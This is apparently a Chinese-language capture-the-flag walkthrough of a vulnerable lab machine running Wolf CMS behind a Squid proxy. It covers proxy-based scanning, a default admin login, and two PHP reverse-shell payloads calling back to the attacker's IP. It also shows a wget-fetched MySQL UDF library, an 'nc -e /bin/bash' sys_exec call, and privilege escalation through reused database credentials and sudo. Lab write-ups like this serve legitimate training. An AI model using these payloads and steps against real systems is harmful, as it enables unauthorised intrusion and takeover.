文章目錄
一、基礎信息
二、信息收集
三、反彈shell
四、提權
一、基礎信息
Kali IP:192.168.20.146
靶機IP:192.168.20.150
二、信息收集
端口掃描
nmap -sS -sV -p- -A 192.168.20.150
開放了22、3128端口,8080端口顯示關閉
22端口 openssh 5.9p1
3128端口 squid 3.1.19 //前面靶場遇到過,可能又要設置代理
直接目錄掃描沒有發現,設置一下代理訪問服務器80端口發現有顯示
設置代理掃描一下目錄
dirsearch -u http://192.168.20.150/ --proxy=192.168.20.150:3128 -x 403
發現兩個路徑,訪問一下
Robots文件顯示了一個新路徑:http://192.168.20.150/wolfcms/,為wolf cms
http://192.168.20.150/connect,好像沒什么用
繼續掃描一下上面wolfcms的目錄文件
dirsearch -u http://192.168.20.150/wolfcms --proxy=192.168.20.150:3128 -x 403
其他路徑訪問了下好像沒啥有用的
百度查找wolfcms默認后臺登陸地址/?/admin拼接跳轉成功
http://192.168.20.150/wolfcms/?/admin/login
弱口令admin:admin成功登錄到后臺
三、反彈shell
1、Php反彈shell
打開一個page頁面發現可以編輯php代碼,寫入php代碼反彈shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.20.146/8080 0>&1'"); ?>
保存后刷新一下頁面即可反彈shell
2、文件上傳反彈shell
登錄到系統后可以發現cms版本為0.8.2,搜索一下漏洞,發現有文件上傳漏洞
找到文件上傳點
上傳shell.php
<?php
$sock=fsockopen('192.168.20.146',8080);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
開啟監聽端口,訪問http://192.168.20.146/wolfcms/public/shell.php,成功反彈shell
python -c 'import pty;pty.spawn("/bin/bash")'
四、提權
1、sudo提權需要賬戶密碼,這里沒有
2、嘗試數據庫udf提權
查看根目錄信息,發現config.php文件,查看內容發現數據庫信息
當前數據庫:wolf,賬戶密碼:root/john@123
登錄到數據庫查看到了admin的賬戶信息
但是解不出密碼
UDF,即user defined function,在MySQL中,UDF允許用戶創建自己的函數,這些函數可以在SQL查詢語句中使用,類似于內置函數。通過使用UDF,用戶可以對數據庫進行自定義操作,以滿足業務需求,或實現數據庫本身并不支持的一些特定功能。
前提條件:
1、擁有MySQL數據庫賬號,且該賬號對MySQL擁有create insert delete等權限,以創建和使用函數
2、secure_file_priv為空,若secure_file_priv指定的目錄恰好是我們提權過程中用到的目錄,也可以
show global variables like 'secure%';
secure_file_priv值為空則可寫,可以考慮UDF提權
secure_file_priv值為指定路徑,則指定路徑可寫
show variables like '%compile%';
可以看到系統版本,這可以確定等下我們要用的腳本。
select @@plugin_dir;?? ? ? ? ? ? ? ? ? ? ?#查找具體目錄
select @@basedir; ? ? ? ? ? ? ? ? ? ? ? #查看mysql目錄
kali上尋找exp
find / -name "*mysqludf*" 2>/dev/null
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root
python -m http.server 8090
靶機上
cd /tmp
wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so
提權操作
use mysql;
create table hack(line blob); #新建一個表,用來存放本地傳來的udf文件的內容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so')); #在hack中寫入udf文件內容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #將udf文件內容傳入新建的udf文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; #導入udf函數
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #執行
但是在將udf文件內容傳入新建的udf文件中時失敗了,提示不能創建和寫入文件,不知道咋回事,secure_file_priv值是為空的呀。
Mysql_udf提權失敗
3、Suid位提權
find / -perm -u=s -type f 2>/dev/null
搜索了一下沒有可利用的
4、內核提權
Uname -a
Cat /etc/*release
搜索漏洞
似乎沒有有效的,嘗試了幾個也是沒成功
只能繼續收集信息
看到/etc/passwd文件里還有個用戶,嘗試用已知的數據庫密碼登錄成功。
賬戶密碼:sickos/john@123
發現可用sudo提權:sudo su,提權成功